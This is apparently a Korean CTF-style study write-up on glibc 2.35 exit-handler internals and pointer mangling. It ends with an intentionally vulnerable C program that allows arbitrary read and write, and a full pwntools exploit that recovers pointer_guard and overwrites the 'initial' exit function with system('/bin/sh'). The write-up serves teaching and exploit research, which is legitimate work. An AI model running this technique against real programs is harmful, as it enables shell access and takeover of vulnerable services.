분석버전
getconf -a |grep libc
GNU_LIBC_VERSION glibc 2.35
checksec ./main
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Bash
복사
프로그램의 실행 순서
main ret 이후에 실행되는 순서를 확인해보면 __libc_start_call_main에서 _GI_exit을 호출하고 있습니다.
이전에 분석한 글과 동일하게 위와 같은 순서로 프로그램이 실행되는 것을 알 수 있습니다.
자세한 내용은 아래의 글 참조
위 글과 동일한 내용이니 __run_exit_handlers 함수로 si을 통해서 넘어가보면
__call_tls_dtors 함수를 지나서 아래의 asm에서 rcx가 4와 일치하여 __run_exit_hanlers+208로 jmp합니다.
해당 부분을 확인해보면 아래와 asm이 동일합니다.
이 부분을 이제 C언어로 소스코드로 확인하면 아래와 같습니다.
__run_exit_handlers Function
Source Code(궁금하신 분들은 확인)
일단 분석을 진행하기 전 구조체와 값 먼저 확인하겠습니다.
exit_function && exit_function_list
struct exit_function
{
/* `flavour' should be of type of the `enum' above but since we need
this element in an atomic operation we have to use `long int'. */
long int flavor;
union
{
void (*at) (void);
struct
{
void (*fn) (int status, void *arg);
void *arg;
} on;
struct
{
void (*fn) (void *arg, int status);
void *arg;
void *dso_handle;
} cxa;
} func;
};
struct exit_function_list
{
struct exit_function_list *next;
size_t idx;
struct exit_function fns[32];
};
C
복사
enum ef_
enum
{
ef_free, /* `ef_free' MUST be zero! */
ef_us,
ef_on,
ef_at,
ef_cxa
};
C
복사
__run_exit_handlers Function 핵심
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
...
struct exit_function_list *cur = *listp;
...
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
...
switch (f->flavor)
{
...
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
...
}
C
복사
__run_exit_handlers C to ASM
C와 asm으로 이해한 내용을 정리를해보면 ef_on 즉 rcx의 값이 4로 종료가되며 이때 실행되는 코드는 아래와 같습니다.
1.
__run_exit_handlers에 인자로 전달되는 인자는 struct exit_function_list **listp
<__run_exit_handlers+12>: mov r12,rsi
Assembly
복사
2.
struct exit_function_list *cur = *listp;로 변환
<__run_exit_handlers+62>: mov r15,QWORD PTR [r12]
Assembly
복사
3.
struct exit_function *const f = &cur->fns[--cur->idx];로 exit_funcion 구조체로 변환
<__run_exit_handlers+80>: mov rax,QWORD PTR [r15+0x8]
...
<__run_exit_handlers+93>: sub rax,0x1
<__run_exit_handlers+97>: mov rdx,rax
<__run_exit_handlers+100>: mov QWORD PTR [r15+0x8],rax
<__run_exit_handlers+104>: shl rdx,0x5
Assembly
복사
4.
switch (f->flavor)
<__run_exit_handlers+108>: mov rcx,QWORD PTR [r15+rdx*1+0x10]
Assembly
복사
5.
case ef_on: 즉 rcx가 4에 걸려 아래의 코드들이 실행
<__run_exit_handlers+123>: cmp rcx,0x4
<__run_exit_handlers+127>: je 0x7ffff7c45460 <__run_exit_handlers+208>
Assembly
복사
6.
onfct = f->func.on.fn; arg = f->func.on.arg;로 인자와 함수를 저장한 뒤
<__run_exit_handlers+208>: add rdx,r15
<__run_exit_handlers+211>: mov rax,QWORD PTR [rdx+0x18]
<__run_exit_handlers+215>: mov r13,QWORD PTR [rdx+0x20]
Assembly
복사
7.
PTR_DEMANGLE (onfct);로 DEMANGLE
<__run_exit_handlers+229>: ror rax,0x11
<__run_exit_handlers+233>: xor rax,QWORD PTR fs:0x30
...
<__run_exit_handlers+256>: mov rdi,r13
<__run_exit_handlers+259>: call rax
Assembly
복사
__run_exit_handlers 호출 함수 및 전달 인자 분석
exit Function
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)
C
복사
exit 함수에서 __run_exit_handlers 함수를 호출하고 있습니다.
자 그럼 struct exit_function_list **listp에 전달되는 인자먼저 확인해보면 아래와 같습니다.
static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;
C
복사
즉 정리해본다면 __exit_funcs는 initial이라는 전역 변수에 저장되어 있습니다.
initial은 libc에 존재한다. → libc_base를 알아낼 수 있으면 offset으로 접근하여 initial에 존재하는 MANGLE 함수 포인터를 Leak 할수 있다.
실제로 확인해보면 아래와 같은 구조를 지니는 것을 확인할 수 있습니다.
gef➤ p **&__exit_funcs
$1 = {
next = 0x0,
idx = 0x0,
fns = {{
flavor = 0x0,
func = {
at = 0xd26896c1494eb578,
on = {
fn = 0xd26896c1494eb578,
arg = 0x0
},
cxa = {
fn = 0xd26896c1494eb578,
arg = 0x0,
dso_handle = 0x0
}
}
}, {
flavor = 0x0,
func = {
at = 0x0,
on = {
fn = 0x0,
arg = 0x0
},
cxa = {
fn = 0x0,
arg = 0x0,
dso_handle = 0x0
}
}
} <repeats 31 times>}
}
C
복사
그럼 다시 넘어와 __run_exit_handlers+229까지 실행시키고 하나씩 레지스터 상태를 디버깅해보겠습니다.
1.
<__run_exit_handlers+229> ror rax, 0x11
$rax : 0xd26896c1494eb578
2.
<__run_exit_handlers+233> xor rax, QWORD PTR fs:0x30
$rax : 0x5abc69344b60a4a7
3.
<__run_exit_handlers+242> xchg DWORD PTR [r14], edx
$rax : 0x00007ffff7fc9040 → <_dl_fini+0> endbr64
4.
<__run_exit_handlers+259> call rax
최종적으로 rax 호출
그럼 이제 디버깅한 내용을 모두 종합해본다면 PTR_DEMANGLE(cxafct);된 exafct는 _dl_fini가 들어가는걸 확인할 수 있습니다.
해당 영역을 확인해보면 ld 영역임을 확인할 수 있습니다.
PTR_MANGLE 분석
간단하게 설명하면 함수 포인터에 fs:0x30 즉 pointer_guard를 xor 연산과 ROR, ROL 연산을 수행한다고 보면 된다.
PTR_MANGLE MACRO
1.
rol(function_pointer ^ fs:0x30, 0x11)
PTR_DEMANGLE
1.
ror(MANGLE_pointer, 0x11) ^ fs:0x30
소스코드
# define PTR_MANGLE(var) asm ("xor %%fs:%c2, %0\n" \
"rol $2*" LP_SIZE "+1, %0" \
: "=r" (var) \
: "0" (var), \
"i" (offsetof (tcbhead_t, \
pointer_guard)))
# define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n" \
"xor %%fs:%c2, %0" \
: "=r" (var) \
: "0" (var), \
"i" (offsetof (tcbhead_t, \
pointer_guard)))
Assembly
복사
struct tcbhead_t
Exploit condition
1.
libc_base가 leak되어야 함 → initial 주소를 구하기 위해
2.
oor, oow가 가능해야 함 → initial 주소에 담긴 PTR_MANGLE(_dl_fini)를 알아내기 위해
3.
ld_base를 leak 할 수 있어야 함 → _dl_fini 주소를 가지고 pointer_guard를 알아내기 위해
PTR_DEMANGLE을 봤다면 PTR_MANGLE의 로직을 역으로 이용하여 pointer_guard의 값을 알아낼 수 있다.
MANGLE(_dl_fini) leak
initial이라는 전역변수는 libc에 위치하고 있습니다.
따라서 libc_base만 알아낼 수 있다면 offset을 기준으로 initial을 접근할 수 있고 initial + 0x18이 MANGLE된 _dl_fini입니다.
추가로 initial + 0x20은 첫번째 인자로 전달됨
pointer_guard leak
일단 수식으로 작성해본다면
위와 같은 연산을 통해서 pointer_guard를 구할 수 있다.
이를 위해서는 _dl_fini의 주소를 알기 위해서 ld_base를 leak해야 한다.
ld_base leak
일단 위에서 말한 ld_base를 leak하기 위해서는 libc_base를 알아야한다.
libc에 존재하는 전역변수 중 environ라는 전역 변수가 존재한다.
해당 전역변수는 스택의 주소를 저장하고 있기도 하지만 동시에 ld_base 주소도 저장하고 있다.
이는 실행하면서 있는 주소를 찾아서 __environ 주소에서 offset을 더해주면 된다.
ld_base를 구했으면 ld에 있는 _dl_fini 함수의 주소를 알아낼 수 있고 pointer_guard를 구해 exploit을 진행할 수 있다.
사실 정확하게 왜 envrion에 ld_based의 주소가 들어가이있는지는 분석을 못했다. exploit에 찾기위해서 뒤지던 도중 나왔음…
sample docker
간단한 코드를 통해서 확인해보겠습니다.
#include <stdio.h>
char name[0x100];
void menu(){
printf("1. read\n");
printf("2. write\n");
printf("3. exit\n");
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main()
{
init();
int choice;
unsigned long *address;
printf("stdout : %p\n", stdout);
while (1){
menu();
printf("input : ");
scanf("%d", &choice);
if(choice == 1){
printf("address : ");
scanf("%lu", &address);
printf("value : %p\n", *address);
}
else if(choice == 2){
printf("address : ");
scanf("%lu", &address);
printf("value : ");
scanf("%lu", address);
}else
break;
}
return 1;
}
C
복사
Exploit Idea
1.
stdout이 leak됨 → libc_base 구하기 가능
2.
oor, oow 가능 → ld_base 구한 뒤, pointer_guard 계산
3.
initial + 0x18 → MANGLE(system)
4.
initial + 0x20 → /bin/sh 인자 전달
5.
main 종료
Exploit
from pwn import *
# p = process("./main")
p = remote("127.0.0.1", 9090)
libc = ELF('./libc.so')
ld = ELF("./ld.so")
def ROR(data, shift, size=64):
shift %= size
body = data >> shift
remains = (data << (size - shift)) - (body << size)
return (body + remains)
def ROL(data, shift, size=64):
shift %= size
remains = data >> (size - shift)
body = (data << shift) - (remains << size )
return (body + remains)
def read(address):
p.sendlineafter("input : ", "1")
p.sendlineafter(": ", str(address))
return int(p.recvline().split(b": ")[1].strip(), base=16)
def write(address, value):
p.sendlineafter("input : ", "2")
p.sendlineafter(": ", str(address))
p.sendlineafter(": ", str(value))
stdout = int(p.recvline().split(b": ")[1].strip(), base=16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
environ = libc_base + libc.symbols['__environ']
envrion_address = read(environ)
ld_base = read(envrion_address + 0xf0) #직접 디버깅해보면서 찾아야함, 하지만 8씩 늘려가면서 대충 때려맞춰도 될 듯?
_dl_fini = ld_base + 0x6040 #smybol이 없어 디버깅해보면서 offset을 직접 구해야함
MANGLE_dl_fini = read(libc_base + 0x21af00 + 0x18) #smybol이 없어 디버깅해보면서 offset을 직접 구해야함
success(f"stdout : {hex(stdout)}")
success(f"libc_base : {hex(libc_base)}")
success(f"envrion_address : {hex(envrion_address)}")
success(f"ld_base : {hex(ld_base)}")
success(f"_dl_fini : {hex(_dl_fini)}")
success(f"MANGLE_dl_fini : {hex(MANGLE_dl_fini)}")
# Get pointer_guard
pointer_guard = ROR(MANGLE_dl_fini, 0x11) ^ _dl_fini
MANGLE_system = ROL(libc_base + libc.symbols['system'] ^ pointer_guard, 0x11)
success(f"pointer_guard : {hex(pointer_guard)}")
success(f"MANGLE system : {hex(MANGLE_system)}")
write(libc_base + 0x21af00 + 0x18, MANGLE_system)
write(libc_base + 0x21af00 + 0x20, libc_base + list(libc.search(b'/bin/sh\x00'))[0])
p.interactive()
Bash
복사